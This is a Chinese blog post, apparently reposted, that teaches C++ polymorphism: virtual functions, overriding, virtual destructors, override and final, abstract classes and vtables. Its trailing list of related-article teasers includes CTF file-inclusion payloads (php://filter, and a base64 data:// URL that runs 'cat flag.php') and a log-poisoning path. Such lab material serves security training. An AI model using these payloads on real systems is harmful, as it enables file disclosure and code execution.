C++-----多态

news2024/9/17 4:06:58

一.对多态的解释

场景:买车票时,学生是半价,军人要优先......,对于不同的人群,在同一个售票窗口会受到不同折扣,这就是多态的体现。

上图就是多态的效果。

为什么Ticket的参数是person类型,但却能接受不同类型对象并打印出不同的信息呢?

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

二.多态的实现

我们知道student和solider的父类都是person,多态的实现就是依靠对父类函数的重写(也叫覆盖)。看一下上面引子是如何实现的:

步骤:

1.在父类中找到想要呈现出多态的函数,用virtual修饰。

2.在子类中重写这个函数,要求函数名,返回值,参数必须相同,子类中的virtual可加可不加,但是父类中的virtual一定要加,表示这个函数将被重写(这个函数也叫虚函数

3.在不同对象传入函数(售票口)时,必须用父类的引用或者指针接收!!


补充:多态条件下(一定要注意),在子类中重写函数后,重写的是函数的实现,所以说你可以看成重写后的函数的函数名,参数,返回值都用的是父类的

以上程序构成了多态,但打印的是1不是0,原因就在这儿。

如果重写了却没有构成多态,比如直接用s调用func,打印的就是0。

---------------------------------------------------------------------------------------------------------------------------------

为什么要用父类的引用和指针接收呢?(以下是我的胡乱理解,不一定准确,但可以暂时帮助记忆)

student,solider和 person(父类)不是同一个类型,根据继承的那篇文章所说,把student和solider对象作为参数传入Ticket,而Ticket的形参是person,这样就会有赋值转换发生。

如果是引用和指针的话,指向的是实参student和solider中person成员所处的空间

这样引用和指针就有机会找到没有转换成person之前student和solider重写的同名函数,所以虽然在Ticket中对象类型都是person,但是指向的分别是student和solider的空间,调用的自然可以是不同对象的同名函数。

而直接赋值会导致直接把student和solider中属于person的成员拷贝到另一个空间,这样就算有virtual修饰也没法找到两种不同的同名函数,只会调用person原有的函数。

---------------------------------------------------------------------------------------------------------------------------------

注意多态的两大条件

重写虚函数

用父类指针或者引用调用虚函数(用对象直接调用叫隐藏,即子类重写函数把父类的函数给隐藏了,这时候就和多态没什么关系了)

---------------------------------------------------------------------------------------------------------------------------------

至于为什么不用对象直接调用各自对应的重写了的函数,比如这样:

子类函数把父类同名函数隐藏,所以优先调用子类重写的函数。

我现在不清楚。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

三.虚函数重写的两个例外

1. 协变(基类与派生类虚函数返回值类型不同) 。派生类重写基类虚函数时,与基类虚函数返回值类型不同。即基类虚函数的返回值和派生类虚函数的返回值是父子关系并且基函数返回父类对象的指 针或者引用,派生类虚函数返回子类对象的指 针或者引用(了解)

2.析构函数的重写(基类与派生类析构函数的名字不同)。

创建了一个student对象,并且用person类的指针指向这个student对象,直接delete p的话只会调用person类的析构函数,这样会导致student中开辟的动态空间不被释放,俗称内存泄漏。

为了达到这个目的:p指向student就调用student的析构,p指向person就调用solider的析构

那么就要用多态,让析构函数成为虚函数,但是父类和子类的析构函数不是同名函数,不满足形成多态条件。为了帮助我们完成这个目的,编译器对析构函数的名称做了特殊处理,编译后析构函数的名称统一处理成destructor,这样就符合多态条件了

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

四.C++11 中的 override 和 final

1. final

在父类中修饰虚函数,表示该虚函数不能再被重写:

final也可以修饰整个类,表示该类不能被继承:

2. override:

检查派生类虚函数是否重写了基类某个虚函数,如果没有重写编译报错。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

五.抽象类(接口类)

在虚函数的后面写上 = 0 ,则这个函数为纯虚函数包含纯虚函数的类叫做抽象类(也叫接口 类),抽象类不能实例化出对象。派生类继承后也不能实例化出对象,只有重写了所有纯虚函数之后,派生类才能实例化出对象。

为什么会有抽象类:想象一下基类是人类,派生出中国人,小日子,英国佬等子类,说这个人是中国人很合理,但是总不能说这个人是人类吧,也就是说,我们不需要用父类创建对象的时候把它定义为抽象类。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

六.多态的原理

---------------------------------------------------------------------------------------------------------------------------------

我现在解释一下,只要类中含有虚函数,包括继承父类的,类所生成的对象就会储存一个指针,这个指针指向一个函数指针数组(也叫虚函数表),这个函数指针数组里存放着函数的地址(如果虚函数在子类中被重写,存放的是重写的函数地址,如果没重写,就存放的是父类虚函数的地址

---------------------------------------------------------------------------------------------------------------------------------

从这个角度理解一下多态如何产生:

a传入函数后,x指向的是a中属于父类的一部分,但是子类继承父类后,由于sound这个虚函数被重写,其指针p所指向的指针数组里的sound的地址不是父类的sound而是子类重写的sound1。

而在调用函数时,如果满足多态,就会从这个指针数组里去找函数地址去调用,找到的是sound1,所以调用的是子类的sound1而不是父类的sound。

相反,由于在子类Cat中没有重写face函数,其指针p所指向的指针数组的里的face函数的地址没有改变,仍然调用的是父类的函数。

---------------------------------------------------------------------------------------------------------------------------------

强调几点:

1.只要是虚函数,都会进入虚函数表,不管重写没重写。

还有就是我上文提到一个函数在父类中加了virtual,在子类中重写时可以不用加,就算不加,它也是虚函数,也会入虚函数表。

2.子类继承父类后,虚函数表会因为重写而改变。其实多态为什么能实现对象不同调用的函数就不同,虽然都是用父类指针或引用接受对象(这是多态的形成条件),但是因为空间还是原对象的空间,虚函数表也是原对象类型的。虚函数表里的函数地址与父类不同,调用的函数自然就不同

这也侧面反映了为什么要用引用或者指针接收而不用赋值。

3. 静态绑定又称为前期绑定(早绑定),在程序编译期间确定了程序的行为,也称为静态多态, 比如:函数重载

4. 动态绑定又称后期绑定(晚绑定),是在程序运行期间,根据具体拿到的类型确定程序的具体 行为,调用具体的函数,也称为动态多态。类的多态就是这样,编译器一但确认这个函数调用符合多态,就暂时不会确定调用哪个函数,而是在运行时访问p指针取出想要的函数指针,根据指向的对象类型去调用虚函数表里的函数。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1952504.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式初学-C语言-五

C语言语句概述 C语句的分类 ⑴ 控制语句 用于完成一定的控制功能 ① if ( ) …… else …… ② for ( ) …… ③ while ( ) …… ④ do …… while ( ) ⑤ continue ⑥ break ⑦ switch ( ) ⑧ return ⑨ goto 标号 (无条件跳转语句) 说明:“( ) ”…

Flutter Dio网络请求报错FormatException: Unexpected character

最近开发Flutter项目,网络请求采用的是Dio框架,在发起网络请求的时候报错: 网络请求返回的数据为: var returnCitySN {\"cip\": \"127.0.0.1\", \"cid\": \"00\", \"cname\"…

【漏洞复现】用友时空KSOA PreviewKPQT SQL注入漏洞

0x01 产品简介 用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业最前沿的I需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话,帮助流通企业保护原有的IT投资,简化IT管理&…

B站录播姬 v2.12.0 中文版

一个方便好用免费开源的哔哩哔哩直播录制工具。 B站录播姬是一款适用于B站的直播录制工具,该软件使用简单,功能强大,为你录制每一次的直播,用户只需要添加主播的直播号,当主播直播时,软件将自动为你录制直…

文件包涵漏洞(ctfshow 无条件竞争)

Web78 payload: ?filephp://filter/readconvert.base64-encode/resourceflag.php Web79 <?php system(cat flag.php); Data协议写入内容读取 payload: ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs Web80 ?file/var/log/nginx/access.log…

结构体,联合体,指针和浮点代码笔记

系列文章 : 深入理解计算机系统笔记 文章目录 系列文章3.9 异质的数据结构3.9.1 结构3.9.2 联合3.9.3 数据对齐 3.10 在机器级程序中将控制和数据结合起来3.10.1 理解指针3.10.2 应用&#xff1a;使用GDB调试器3.10.3 内存越界引用和缓冲区溢出3.10.4 对抗缓冲区溢出攻击3.10…

(最新)华为 2024 届校招-硬件通⽤/单板开发——第十一套和十二套

&#xff08;最新&#xff09;华为 2024 届校招-硬件通⽤/单板开发——第十一套和十二套 部分题目分享&#xff0c;完整版带答案(有答案和解析&#xff0c;答案非官方&#xff0c;仅供参考&#xff09;&#xff08;共十二套&#xff09;&#xff08;谢绝白嫖哈&#xff09; …

leetcode日记(56)文本左右对齐

不难想但是很难写&#xff0c;需要考虑情况。 我是先写出代码框架&#xff08;先看一行可以加入接下来几个字母和对应空格&#xff0c;然后用空格数和字母数相除取模计算出字母间可以塞多少个空格&#xff0c;循环塞入这些空格和字母&#xff0c;添加进结果中&#xff09;&…

MongoDB教程(二十三):关于MongoDB自增机制

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; 文章目录 引言一、MongoD…

青少年绘画大赛兰州站:童梦起航 致敬科学 续写降压0号之父强国梦

2024年7月21日&#xff0c;“鹤舞童梦致敬科学精神”青少年绘画大赛在兰州隆重启幕。 活动邀请了多位重量级嘉宾担任评委&#xff0c;包括中国美术家协会会员、甘肃省油画协会常务理事马爱兵&#xff0c;兰州交通大学天佑美术馆馆长王欣&#xff0c;以及国家一级美术师蔡晓斌。…

【Java基础系列】RBAC:介绍与原理

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【C++】模板详解

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &#x1f4e2;本文由 JohnKi 原创&#xff0c;首发于 CSDN&#x1f649; &#x1f4e2;未来很长&#…

Activiti 本地画流程 http://localhost:8080/activiti-app/#/

http://localhost:8080/activiti-app/#/ 1、本地安装了Tomcat 2、本地安装了Activiti 3、拷贝Activiti中这两个文件到Tomcat中的webapps目录下 4、启动startu.bat 5、http://localhost:8080/activiti-app/#/ 账号&#xff1a;admin 密码&#xff1a;test

Redis-jenkins

1. 什么是jenkins Jenkins是一个开源软件项目&#xff0c;是基于Java开发的一种持续集成工具&#xff0c;用于监控持续重复的工作&#xff0c;旨在提供一个开放易用的软件平台&#xff0c;使软件项目可以进行持续集成。 2. 为什么使用jenkins 使用 Jenkins之前使用 Jenkins之…

【图形图像-1】SDF

在图形图像处理中&#xff0c;SDF&#xff08;Signed Distance Field&#xff0c;带符号的距离场&#xff09;是一种表示图形轮廓和空间距离的数学结构。它通常用于计算机图形学、文本渲染、碰撞检测和物理模拟等领域。 SDF&#xff08;Signed Distance Field&#xff0c;带符号…

白鲸开源CEO郭炜荣获「2024中国数智化转型升级先锋人物」称号

2024年7月24日&#xff0c;由数据猿主办&#xff0c;IDC协办&#xff0c;新华社中国经济信息社、上海大数据联盟、上海市数商协会、上海超级计算中心作为支持单位&#xff0c;举办“数智新质力拓未来 2024企业数智化转型升级发展论坛——暨AI大模型趋势论坛”数据猿“年中特别策…

.h264 .h265 压缩率的直观感受

1.资源文件 https://download.csdn.net/download/twicave/89579327 上面是.264 .265和原始的YUV420文件&#xff0c;各自的大小。 2.转换工具&#xff1a; 2.1 .h264 .h265互转 可以使用ffmpeg工具&#xff1a;Builds - CODEX FFMPEG gyan.dev 命令行参数&#xff1a; …

二叉树详解-第四篇 二叉树链式结构的实现

目录 1.二叉树的遍历 1.1前序遍历&#xff1a; 1.2 中序遍历&#xff1a; 1.3 后序遍历&#xff1a; 2.二叉树链式结构的实现 2.1 Tree.h 2.2 Tree.cpp 2.2.1 前序遍历 void PreOrder(TNode* Root) 2.2.2 中序遍历 void InOrder(TNode* Root) 2.2.3 后序遍历 void Bac…

Linux中断框架

不管是裸机实验还是 Linux 下的驱动实验&#xff0c;中断都是频繁使用的功能&#xff0c;在裸机中使用中断我们需要做一大堆的工作&#xff0c;比如配置寄存器&#xff0c;使能 IRQ 等等。Linux 内核提供了完善的中断框架&#xff0c;我们只需要申请中断&#xff0c;然后注册中…

【rockyLinux】rockyLinux 9.4 安装 java jdk

一、安装 java 1.选择版本 yum list | grep jdk各个版本之间的区别&#xff1a; 2.选择了&#xff1a;java-17-openjdk-devel.x86_64&#xff08;开发者版本&#xff09;&#xff0c;开始安装 建议安装在 /usr/local 这个目录下&#xff0c;可以创建一个 app 目录来收录它…